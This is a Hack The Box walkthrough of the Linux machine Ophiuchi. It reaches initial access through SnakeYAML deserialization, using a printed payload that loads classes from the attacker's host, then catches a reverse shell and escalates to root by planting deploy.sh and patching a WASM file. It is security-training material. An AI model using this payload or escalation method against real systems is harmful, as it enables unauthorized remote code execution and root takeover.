CTF Walkthroughs, Hack The Box

Hack The Box – Ophiuchi Walkthrough

Introduction

This was an intermediate Linux machine that involved exploiting a deserialization vulnerability in the SnakeYaml parser to gain initial access, and a misconfigured WebAssembly binary with Sudo permissions set to escalate privileges to root.

Enumeration

The first thing to do is to run a TCP Nmap scan against the 1000 most common ports, and using the following flags:

  • -sC to run default scripts
  • -sV to enumerate applications versions

The scan has revealed two open ports: port 22 (SSH) and port 8080 (HTTP). The next step will be to start enumerating HTTP.

Enumerating HTTP

When visiting the site on port 8080, it appears to contain an online YAML parser:

YAML is a data serialization language that is often utilized to create configuration files and works in concurrence with any programming language.

When trying to submit input to be parsed as YAML, the following error appears:

When doing some research on YALM exploitation, came across this interesting article, which basically explains how if the yaml.load function is being used by an application to parse YAML files, it can be exploited to obtained remote code execution, due to a deserialization vulnerability. More information on how to exploit this can be found here.

In order to test for remote command execution, setting up a Simple Python HTTP Server:

Using the following payload found from the blog post mentioned above to reach out to the Python server:

!!javax.script.ScriptEngineManager [
    !!java.net.URLClassLoader [[
      !!java.net.URL [\"http://10.10.14.5/"]
  ]]
]

A request coming from the target host was received on the Python server, indicating remote code execution is probably possible:

Exploiting YAML Deserialization

There is a handy GitHub repository that can be used to generate payloads for the SnakeYAML deserialization. Cloning it locally:

The first step is to generate some shellcode using MSFvenom with the following flags:

  • -p to specify the payload type, in this case, the Linux TCP reverse shell
  • LHOST to specify the localhost IP address to connect to
  • LPORT to specify the local port to connect to
  • -f to specify the format for the shell, in this case, elf

Setting up a Python Simple HTTP Server to host the shell and the Java exploit:

The next step is to set up a Netcat listener, which will catch the reverse shell when it is executed by the victim host, using the following flags:

  • -l to listen for incoming connections
  • -v for verbose output
  • -n to skip the DNS lookup
  • -p to specify the port to listen on

Modifying the Java code used in the GitHub Repository to download and execute the shell created earlier:

Compiling the code:

Adding the exploit mentioned in the repository to the parser in order to execute the Java code:

The YAML parser will try to reach out to /META-INF/services/javax.script.ScriptEngineFactory, and execute the code contained in it, therefore downloading and executing the shell:

This had to be run twice for it to work, but once it did a reverse shell as the “tomcat” user was returned.

The following steps can be done to obtain an interactive shell:

  • Running “python -c ‘import pty; pty.spawn(“/bin/sh”)’” on the victim host
  • Hitting CTRL+Z to background the process and go back to the local host
  • Running “stty raw -echo” on the local host
  • Hitting “fg + ENTER” to go back to the reverse shell

When searching for credentials in the /opt/tomcat directory, a password for the “admin” user was found, and since this user is present on the box it was trivial to switch user accordingly:

Privilege Escalation

Transferring the LinPEAS enumeration script to the target host:

Upon running sudo -l, it appears the admin user can can execute the following as root:

/usr/bin/go run /opt/wasm-functions/index.go

This command imports the functions contained in the main.wasm file and then executes the deploy.sh Bash script, if the “f” variable equals one, although no absolute path is specified for the deploy.sh script so this could be abused by creating an arbitrary script in a different directory:

package main
import (
"fmt"
wasm "github.com/wasmerio/wasmer-go/wasmer"
"os/exec"
"log"
)
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close()
init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}

When executing the command it returns a “Not ready to deploy” error, which based on the code above means that f does not equal 1:

This means in order to exploit the script to escalate privileges, the “f” variable in the main.wasm file needs to changed so it is 1 and it then needs to be recompiled.

The code used above is written using WebAssembly, an open standard that defines a portable binary-code format
for executable programs, and a corresponding textual assembly language, as well as interfaces for facilitating interactions between such programs and their host environment.

Doing a quick Google search to understand how .wasm files could be modified:

The WebAssembly Binary Toolkit contains two tools that can be used to decompile a WASM file, modify the code, and re-compile:

Installing the WebAssembly Binary Toolkit using APT:

Transferring the main.wasm file to the local Kali host – it appears the value of the “f” variable is currently 0:

Creating a local .wat file using the wasm2wat tool which is part of the WebAssembly Binary Toolkit:

Changing the “f” variable to be 1 in the .wat file:

Recompiling the WASM file and transferring it to the /tmp directory of the target host:

Creating a deploy.sh script in the /tmp directory that will create a copy of the Bash binary and assigning SUID permissions to it:

Running the command to execute the index.go program and executing the “stef” SUID Bash binary with the -p flag, which allows to execute binaries as the owner of it, grants root access to the host:

This has granted root-level permission to the machine.

Conclusion

I really enjoyed this box as it was the first time for me exploiting a YAML parser, going through the various papers and finding out how this was initially discovered was really interesting. The privilege escalation vector was also quite unique, as it was my first time dealing with WebAssembly.